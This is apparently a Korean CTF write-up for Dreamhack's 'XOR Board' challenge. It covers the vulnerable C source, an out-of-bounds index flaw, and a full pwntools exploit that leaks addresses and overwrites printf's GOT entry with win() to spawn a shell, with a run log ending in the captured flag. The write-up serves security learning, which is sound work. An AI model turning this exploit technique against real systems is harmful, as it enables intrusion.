콘텐츠로 건너뛰기

XOR Board

Description

여기에서는 XOR이 어떻게 동작하는지 배울 수 있어요!
혹시 win 함수를 부르는 방법을 찾을 수 있나요?

checksec

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ checksec ./main
[*] '/home/ubuntu/Desktop/dreamhack-CTF/XOR_Board/deploy/main'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Source Code

main.c

// gcc -o main main.c -Wl,-z,norelro

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

uint64_t arr[64] = {0};

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    for (int i = 0; i < 64; i++)
        arr[i] = 1ul << i;
}

void print_menu() {
    puts("1. XOR two values");
    puts("2. Print one value");
    printf("> ");
}

void xor() {
    int32_t i, j;
    printf("Enter i & j > ");
    scanf("%d%d", &i, &j);
    arr[i] ^= arr[j];
}

void print() {
    uint32_t i;
    printf("Enter i > ");
    scanf("%d", &i);
    printf("Value: %lx\n", arr[i]);
}

void win() {
    system("/bin/sh");
}

int main() {
    int option, i, j;

    initialize();
    while (1) {
        print_menu();
        scanf("%d", &option);
        if (option == 1) {
            xor();
        } else if (option == 2) {
            print();
        } else {
            break;
        }
    }

    return 0;
}

Analysis

initialize

arr[0] ~ arr[64]까지 값이 설정된다.

xor

i, j 변수를 통해 두 인덱스 값을 입력받아
특정 인덱스에 있는 arr 변수의 값을 XOR 연산시킨 값으로 지정할 수 있다.

print

i 변수를 통해 인덱스 값을 입력받아
특정 인덱스에 있는 arr 변수의 값을 16진수로 출력해준다.

Solution

xor 함수에서 OOB 취약점이 발생한다.

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 22879)
#p = process('./main')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'63 63')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'63 -7')

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter i > ', b'63')
bin_base = p.recvline()
bin_base = bin_base.split(b'Value: ')[1]
bin_base = bin_base.split(b'\n')[0]
bin_base = b'0x' + bin_base 
bin_base = int(bin_base.decode('utf-8'), 16) - 0x3488
print(f"bin_base: {hex(bin_base)}")
win = bin_base + 0x13ed
print(f"win: {hex(win)}")

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'63 63')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'63 -16')

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter i > ', b'63')
printf_got = p.recvline()
printf_got = printf_got.split(b'Value: ')[1]
printf_got = printf_got.split(b'\n')[0]
printf_got = b'0x' + printf_got 
printf_got = int(printf_got.decode('utf-8'), 16)
print(f"printf_got: {hex(printf_got)}")

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'63 -7')

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter i > ', b'63')
tmp = p.recvline()
tmp = tmp.split(b'Value: ')[1]
tmp = tmp.split(b'\n')[0]
tmp = b'0x' + tmp 
tmp = int(tmp.decode('utf-8'), 16)
print(f"tmp: {hex(tmp)}")
print(f"to make xor: {hex(win ^ printf_got)}")
print(f"to make xor2: {hex(win ^ printf_got ^ tmp)}")

val = win ^ printf_got ^ tmp
val = int(val/2)
k=0
while True:
    if k == 0:
        k+=1
        continue
    if val % 2 == 1:
        print((k))
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'Enter i & j > ', b'0 ' + str(k).encode('utf-8'))
    val = int(val/2)
    if val <= 0:
        break
    k+=1

#0x6765
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 2') #1 ^ 4
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 5') #1 ^ 4 ^ 0x20
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 6') #1 ^ 4 ^ 0x20 ^ 0x40
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 8') #1 ^ 4 ^ 0x20 ^ 0x40 ^ 0x100
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 9') #... ^ 0x200
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 10') #... ^ 0x400
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 13') #... ^ 0x2000
# p.sendlineafter(b'> ', b'1')
# p.sendlineafter(b'Enter i & j > ', b'0 14') #... ^ 0x4000

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'62 62')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'62 63')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'62 0')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Enter i & j > ', b'-16 62')


p.interactive()

Result

ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 22879: Done
bin_base: 0x561bbf32a000
win: 0x561bbf32b3ed
printf_got: 0x7fb011fb2770
tmp: 0x29abaec9f3f8
to make xor: 0x29abaec9949d
to make xor2: 0x6765
2
5
6
8
9
10
13
14
[*] Switching to interactive mode
1. XOR two values
2. Print one value
$ ls
flag
main
$ cat flag
DH{8475338cdd6114aad8f4c04264f523c3037d245e641118e2a7afe66710f469f4}
$ 
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 22879
태그:

답글 남기기